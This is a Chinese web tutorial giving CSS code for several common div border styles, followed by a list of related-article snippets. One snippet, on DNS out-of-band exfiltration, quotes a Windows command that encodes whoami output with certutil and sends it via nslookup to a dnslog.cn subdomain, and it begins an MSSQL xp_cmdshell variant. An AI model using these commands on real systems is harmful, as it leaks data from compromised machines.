css+div实现各种常见边框

作者:神秘网友 发布时间:2021-03-10 17:20:04

css+div实现各种常见边框

css+div实现各种常见边框

一、效果图如下

二、实现代码

div {
      width: 120px;
      height: 100px;
      margin: 10px;
      float: left;
      text-align: center;
      line-height: 100px;
      font-size: 18px;
      color: #999999;
      border: 4px solid #797979;
    }

    .rounded {
      border-radius: 30px;
    }

    .asymmetric-radius {
      border-radius: 30px / 90px;
    }

    .percentages {
      border-radius: 50%;
    }

    .brackets {
      border-top: none;
      border-bottom: none;
      border-radius: 30px / 90px;
    }

    .inner-brackets {
      border-top: none;
      border-bottom: none;
      border-radius: 20px / 70px;
    }

    span {
      width: 100px;
      height: 90px;
      margin: 7px;
      float: left;
      border: 4px solid #797979;
      font-size: 18px;
      color: #797979;
    }

    .squarebrackets {
      border: none;
      position: relative;
      width: 200px;
      height: 100px;
      padding: 0;
      margin: 1em;
    }

    .squarebrackets:before,
    .squarebrackets:after {
      content: '';
      display: block;
      height: 100%;
      width: 15px;
      border: 4px solid #797979;
      position: absolute;
      top: -5px;
    }

    .squarebrackets:before {
      left: 0;
      border-right: 0;
    }

    .squarebrackets:after {
      right: 0;
      border-left: 0;
    }

三、完整代码

完整代码示例下载


本文章教程介绍完毕,更多请访问跳墙网其他文章教程!

css+div实现各种常见边框 相关文章

  1. Android使用更简单的方式实现滑块拼图验证码功能

    实现滑块拼图验证码功能之前已经写过一篇了,上一篇使用的是自定义控件的方式实现这个功能,主要还是想让童鞋们知其然更知其所以然,还没看的童鞋可以先看看Android实现滑块拼图验证码功能这篇。 在项目的开发过程中,时间比较紧急,通过自定义的方式很显然

  2. Java(七)

    数组操作 遍历数组 1.数组的遍历可以使用for循环来实现; 使用for循环遍历时,定义int i=0,因为索引是从0 开始的,继续循环的条件是 iarray.length,因为当i=array.length时,i的索引超出了范围。 2.数组的循环还可以使用for each 直接迭代数组的每个元素;

  3. FreeRedis分布式锁实现以及使用

    前言 今日上班听到同事在准备面试题分布式锁(准备溜溜球),随即加入了群聊复习了一波,于是有了这篇小作文。 场景 本文中的演示 DEMO , 以下订单减库存为例。 无锁裸奔表现 示例代码: 先来模拟一个库存服务呗! /// summary /// 模拟库存服务 /// /summar

  4. SpringCloud中利用OAuth2实现客户端单设备登录

    在OAuth2生成Token的地方,源码里面会判断Token是否已经存在,如果存在且未过期直接返回旧的Token,如果不存在或已过期,则重新生成一个新的Token 这里做一个改动:不管旧Token是否过期,都重新生成一个新的Token,保证在新客户端登录后,旧客户端上保存的To

  5. js实现动态表格

    div 姓名:input id="i1" type="text" name="name" 年龄:input id="i2" type="text" name="age" 性别:input id="i3" type="radio" name="gender" value="男"男 input type="radio" name="gender" value="女"女 button type="button" onclick="add()"添加/butt

  6. WebApi 如何实现本地部署共同联调

    第一步:修改配置文件配置 在Program.cs类中修改CreateHostBuilder方法 public static IHostBuilder CreateHostBuilder(string[] args) = Host.CreateDefaultBuilder(args) .ConfigureWebHostDefaults(webBuilder = { //同时监听928 和 930 端口 webBuilder.

  7. 各种环境DNS外带回显实现随笔

    1. windows 命令行: cmd /v /c "whoami temp certutil -encode temp temp2 findstr /L /V "CERTIFICATE" temp2 temp3 set /p MYVAR= temp3 set FINAL=!MYVAR!.xxx.dnslog.cn nslookup !FINAL!" 2. mssql: exec master..xp_cmdshell "whoamiD:/temp%26%26ce

  8. 开源OA办公平台搭建教程:O2OA+Arduino实现物联网应用(四)

    之前我们通过O2IOTServer类已经实现了设备的初始化配置,现在我们需要使用配置信息,连接到可以用的WiFi,并连接登录到O2OA服务器。 创建O2IOTClient类 在o2iot目录下创建文件:O2IOTClient.h,代码如下: #ifndef O2IOTCLIENT_H_#define O2IOTCLIENT_H_#inc

  9. 多线程的实现方法

    一.创建线程的几种方式: 1.实现Runnable接口 1 public class RunnableThread implements Runnable { 2 3 @Override 4 5 public void run() { 6 7 System.out.println('用实现Runnable接口实现线程'); 8 9 }10 11 } 第 1 种方式是通过实现 Runnable 接口实现

  10. ASCII新玩法!不仅能实现光线追踪模拟星系碰撞和流体力学也不在话下

    新智元报道 编辑:Q 【新智元导读】 ASCII码的上限到底在何方?国外小哥不仅用ASCII实现光线追踪效果,现在还有了模拟流体动力学! 还记得上次那个用ASCII码实现光线追踪效果的国外小哥吗? ?当时这个项目一经发出,在Reddit上的热度就达到了2.1K,演示视频

每天更新java,php,javaScript,go,python,nodejs,vue,android,mysql等相关技术教程,教程由网友分享而来,欢迎大家分享IT技术教程到本站,帮助自己同时也帮助他人!

Copyright 2020, All Rights Reserved. Powered by 跳墙网(www.tqwba.com)|网站地图|关键词